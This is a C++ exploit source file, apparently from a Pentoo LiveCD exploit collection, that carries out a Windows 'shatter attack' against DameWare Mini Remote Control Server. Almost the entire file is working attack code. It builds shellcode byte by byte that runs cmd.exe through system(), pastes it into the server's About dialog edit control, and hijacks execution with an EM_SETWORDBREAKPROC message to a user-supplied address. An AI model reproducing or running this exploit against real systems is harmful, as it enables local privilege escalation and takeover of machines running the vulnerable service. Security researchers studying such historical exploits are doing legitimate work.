home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / dameware / dameware-shatter.cpp < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  152 lines

  1. /*
  2.   Shatter attack exploit for DameWare Mini Remote Control Server
  3.   by ash@felinemenace.org
  4.  
  5.   see associated advisory
  6.  
  7.   This code is based on shards.cpp by xenophile
  8.  
  9. */
  10.  
  11. #define WIN32_LEAN_AND_MEAN
  12. #include <windows.h>
  13. #include <stdio.h>
  14. #pragma warning(disable: 4305)
  15. #pragma warning(disable: 4309)
  16. void MakeShellCode (char *buffer)
  17. {
  18. HMODULE hCRT;
  19. void * lpSystem;
  20. int count=0;
  21.  
  22. while (count < 36)
  23. {
  24. buffer [count] =0x90;
  25. count ++;
  26. }
  27.  
  28. buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;
  29. buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;
  30. buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;
  31. buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;
  32. buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;
  33. buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;
  34. buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;
  35. buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;
  36. buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;
  37. buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;
  38. buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;
  39. buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;
  40. buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;
  41. buffer[76]=0x65;
  42.  
  43. hCRT = LoadLibrary("msvcrt.dll");
  44. lpSystem = GetProcAddress( hCRT, "system" );
  45. buffer[77]=0xB8;
  46. buffer[78]=((char *)&lpSystem) [0];
  47. buffer[79]=((char *)&lpSystem) [1];
  48. buffer[80]=((char *)&lpSystem) [2];
  49. buffer[81]=((char *)&lpSystem) [3];
  50. buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;
  51. buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;
  52. buffer [88]=0x55; buffer[89]=0xF4;
  53. count = 90;
  54. while (count < 291)
  55. {
  56. buffer [count] =0x90;
  57. count ++;
  58. }
  59. buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;
  60. buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;
  61. buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00;
  62. buffer[300]=0x00;
  63. return;
  64. }
  65. void ErrorNotify(DWORD err, char *title)
  66. {
  67. LPVOID lpMsgBuf;
  68. FormatMessage(
  69. FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
  70. NULL,
  71. err,
  72. MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
  73. (LPTSTR) &lpMsgBuf,
  74. 0,
  75. NULL
  76. ) ;
  77.  
  78. printf("%s\n",lpMsgBuf);
  79.  
  80. LocalFree( lpMsgBuf );
  81. };
  82. #define SHELLCODE_SIZE (1024 * 256)
  83. #define SHELLCODE_OFFSET (SHELLCODE_SIZE -400)
  84. int main(int argc, char* argv[])
  85. {
  86. HWND hWnd;
  87. HWND hWndChild;
  88. char sc[SHELLCODE_SIZE];
  89. char szWindowName[] = "About DameWare Mini Remote Control Server";
  90. LONG lExecAddress;
  91. sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0';
  92. memset( &sc[4], 0x90, SHELLCODE_SIZE -4);
  93. MakeShellCode( &sc[SHELLCODE_OFFSET] );
  94. printf( "\nfm-shatterdame.c\nash@felinemenace.org\n" );
  95. printf("--------------------------------------------------------------\n");
  96. printf("Exploits shatter attack in DameWare Mini Remote Control
  97. Server\n");
  98. printf("This is based on shards.cpp written by xenophile.\n") ;
  99. printf("--------------------------------------------------------------\n");
  100. printf(
  101. "STEP 1: Finding our window!\n"
  102. ) ;
  103.  
  104.  
  105.  
  106. hWnd = FindWindow( NULL, szWindowName );
  107. if( hWnd == NULL)
  108. {
  109.  
  110.   printf("Couldn't find the dameware about dialogue. Open it and re-run
  111. this\n");
  112. return 0;
  113. }
  114.  
  115. hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL);
  116.  
  117. if( hWndChild == NULL)
  118. {
  119.  
  120. printf("\tCouldn't find child edit control window\n");
  121.  
  122. return 0;
  123. }
  124.  
  125. SendMessage( hWndChild, EM_SETREADONLY, 0, 0 );
  126.  
  127. SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L );
  128.  
  129. if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) {
  130. ErrorNotify ( GetLastError (), "error");
  131. }
  132. printf(
  133. "\n\nSTEP 2: Enter shell code address. "
  134. "This can be found using a debugger."
  135. ) ;
  136. printf( "\nOn my XP SP1 machine 0x160000 worked.\n" );
  137.  
  138. printf( "\n\nEnter execution address: " );
  139. scanf( "%x", &lExecAddress );
  140.  
  141. if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L,
  142. (LPARAM)lExecAddress ) ) {
  143. ErrorNotify( GetLastError(), "error" );
  144. }
  145.  
  146. SendMessage( hWndChild, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a
  147. );
  148.  
  149. return 0;
  150. }
  151.  
  152.